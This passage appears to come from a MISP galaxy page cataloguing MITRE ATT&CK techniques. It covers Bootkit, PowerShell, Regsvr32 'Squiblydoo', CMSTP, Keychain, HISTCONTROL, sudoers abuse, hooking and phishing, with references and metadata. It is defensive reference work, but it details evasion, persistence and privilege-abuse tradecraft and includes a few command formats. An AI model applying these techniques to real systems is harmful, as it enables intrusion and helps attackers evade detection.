The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
Internal MISP references
UUID 02fefddc-fb1b-423f-a76b-7552dd211d4d which can be used as unique global reference for Bootkit - T1067 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1067 |
| kill_chain | ['attack-Linux:persistence', 'attack-Windows:persistence'] |
| mitre_platforms | ['Linux', 'Windows'] |
Related clusters
To see the related clusters, click here.
PowerShell - T1086
PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
Administrator permissions are required to use PowerShell to connect to remote systems.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)
Internal MISP references
UUID f4882e23-8aa7-4b12-b28a-b349c12ee9e0 which can be used as unique global reference for PowerShell - T1086 in MISP communities and other software using the MISP galaxy
External references
- http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - webarchive
- http://www.sixdub.net/?p=367 - webarchive
- https://attack.mitre.org/techniques/T1086 - webarchive
- https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ - webarchive
- https://github.com/jaredhaight/PSAttack - webarchive
- https://github.com/mattifestation/PowerSploit - webarchive
- https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ - webarchive
- https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx - webarchive
- https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1086 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Timestomp - T1099
Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
Internal MISP references
UUID 128c55d3-aeba-469f-bd3e-c8996ab4112a which can be used as unique global reference for Timestomp - T1099 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1099 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Regsvr32 - T1117
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
Internal MISP references
UUID 68f7e3a1-f09f-4164-9a62-16b648a0dd5a which can be used as unique global reference for Regsvr32 - T1117 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1117 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ - webarchive
- https://support.microsoft.com/en-us/kb/249873 - webarchive
- https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1117 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
InstallUtil - T1118
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v and C:\Windows\Microsoft.NET\Framework64\v. InstallUtil.exe is digitally signed by Microsoft.
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
Internal MISP references
UUID f792d02f-813d-402b-86a5-ab98cb391d3b which can be used as unique global reference for InstallUtil - T1118 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1118 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
CMSTP - T1191
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.
CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Internal MISP references
UUID 7d6f590f-544b-45b4-9a42-e0805f342af3 which can be used as unique global reference for CMSTP - T1191 in MISP communities and other software using the MISP galaxy
External references
- http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ - webarchive
- https://attack.mitre.org/techniques/T1191 - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - webarchive
- https://github.com/api0cradle/UltimateAppLockerByPassList - webarchive
- https://msitpros.com/?p=3960 - webarchive
- https://twitter.com/ItsReallyNick/status/958789644165894146 - webarchive
- https://twitter.com/NickTyrer/status/958450014111633408 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1191 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Keychain - T1142
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
Internal MISP references
UUID 9e09ddb2-1746-4448-9cad-7f8b41777d6d which can be used as unique global reference for Keychain - T1142 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1142 |
| kill_chain | ['attack-macOS:credential-access'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Launchctl - T1152
Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l . Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.
Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
Internal MISP references
UUID 53bfc8bf-8f76-4cd7-8958-49a884ddb3ee which can be used as unique global reference for Launchctl - T1152 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1152 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-macOS:execution', 'attack-macOS:persistence'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Source - T1153
This technique has been deprecated and should no longer be used.
The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .This technique has been deprecated and should no longer be used. /path/to/filename [arguments]. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)
Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
Internal MISP references
UUID 45d84c8b-c1e2-474d-a14d-69b5de0a2bc0 which can be used as unique global reference for Source - T1153 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1153 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution'] |
| mitre_platforms | ['Linux', 'macOS'] |
Trap - T1154
The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
Internal MISP references
UUID b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 which can be used as unique global reference for Trap - T1154 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1154 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
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HISTCONTROL - T1148
The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
Internal MISP references
UUID 086952c4-5b90-4185-b573-02bad8e11953 which can be used as unique global reference for HISTCONTROL - T1148 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1148 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
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Defacement - T1491
Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.
Internal MISP references
UUID 5909f20f-3c39-4795-be06-ef1ea40d350b which can be used as unique global reference for Defacement - T1491 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1491 |
| kill_chain | ['attack-Windows:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
AppleScript - T1155
macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.
AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here".
Internal MISP references
UUID 5ad95aaa-49c1-4784-821d-2e83f47b079b which can be used as unique global reference for AppleScript - T1155 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1155 |
| kill_chain | ['attack-macOS:execution'] |
| mitre_platforms | ['macOS'] |
Related clusters
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Geofencing - T1581
Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)
Geofencing is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.
One method to accomplish Geofencing on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other Geofencing methods, this requires that the user has granted the ACCESS_FINE_LOCATION and ACCESS_BACKGROUND_LOCATION permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include “Allow only while using the app”, which will effectively prohibit background location collection.(Citation: Android Geofencing API)
Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call requestWhenInUseAuthorization() or requestAlwaysAuthorization(), depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services)
Geofencing can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific Input Prompts and/or advertisements.
Internal MISP references
UUID 8197f026-64da-4700-93b9-b55ba55f3b31 which can be used as unique global reference for Geofencing - T1581 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1581 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
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Emond - T1519
Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the Launch Daemon configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.
Internal MISP references
UUID d376668f-b208-42de-b1f5-fdfe0ad4b753 which can be used as unique global reference for Emond - T1519 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1519 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
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Hooking - T1617
Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.
Internal MISP references
UUID ccde43e4-78f9-4f32-b401-c081e7db71ea which can be used as unique global reference for Hooking - T1617 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1617 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Sudo - T1169
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware).
Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.
Internal MISP references
UUID 9e80ddfb-ce32-4961-a778-ca6a10cfae72 which can be used as unique global reference for Sudo - T1169 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1169 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Hooking - T1179
Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.
Hooking involves redirecting calls to these functions and can be implemented via:
- Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)
- Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
- Inline hooking, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.
Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)
Hooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)
Internal MISP references
UUID 66f73398-8394-4711-85e5-34c8540b22a5 which can be used as unique global reference for Hooking - T1179 in MISP communities and other software using the MISP galaxy
External references
- http://www.gmer.net/ - webarchive
- https://attack.mitre.org/techniques/T1179 - webarchive
- https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - webarchive
- https://github.com/jay/gethooks - webarchive
- https://github.com/prekageo/winhook - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - webarchive
- https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis - webarchive
- https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - webarchive
- https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.exploit-db.com/docs/17802.pdf - webarchive
- https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918 - webarchive
- https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - webarchive
- https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - webarchive
- https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1179 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:credential-access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
DNSCalc - T1324
This technique has been deprecated. Please use DNS Calculation.
DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)
Internal MISP references
UUID 7823039f-e2d5-4997-853c-ec983631206b which can be used as unique global reference for DNSCalc - T1324 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1324 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Masquerading - T1655
Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Renaming abusable system utilities to evade security monitoring is also a form of Masquerading
Internal MISP references
UUID f856eaab-e84a-4265-a8a2-7bf37e5dc2fc which can be used as unique global reference for Masquerading - T1655 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1655 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Impersonation - T1656
Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims.
In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft.
Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as payment, request, or urgent to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.
Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity.(Citation: CrowdStrike-BEC)
There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)
Internal MISP references
UUID c9e0c59e-162e-40a4-b8b1-78fab4329ada which can be used as unique global reference for Impersonation - T1656 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1656 - webarchive
- https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers. - webarchive
- https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1656 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace'] |
Phishing - T1566
Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.
Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)
Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., User Execution).(Citation: Unit42 Luna Moth)
Internal MISP references
UUID a62a8db3-f23a-4d8f-afd6-9dbc77e7813b which can be used as unique global reference for Phishing - T1566 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1566 - webarchive
- https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends - webarchive
- https://blog.sygnia.co/luna-moth-false-subscription-scams - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - webarchive
- https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/ - webarchive
- https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/ - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/aa23-025a - webarchive
- https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ - webarchive
- https://www.proofpoint.com/us/threat-reference/email-spoofing - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1566 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access', 'attack-SaaS:initial-access', 'attack-Office-365:initial-access', 'attack-Google-Workspace:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'SaaS', 'Office 365', 'Google Workspace'] |
Keychain - T1579
Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.
On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)
Internal MISP references
UUID 27f483c6-6666-44fa-8532-ffd5fc7dab38 which can be used as unique global reference for Keychain - T1579 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1579 - webarchive
- https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/ - webarchive
- https://developer.apple.com/documentation/security/keychain_services - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1579 |
| kill_chain | ['mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['iOS'] |
Related clusters
To see the related clusters, click here.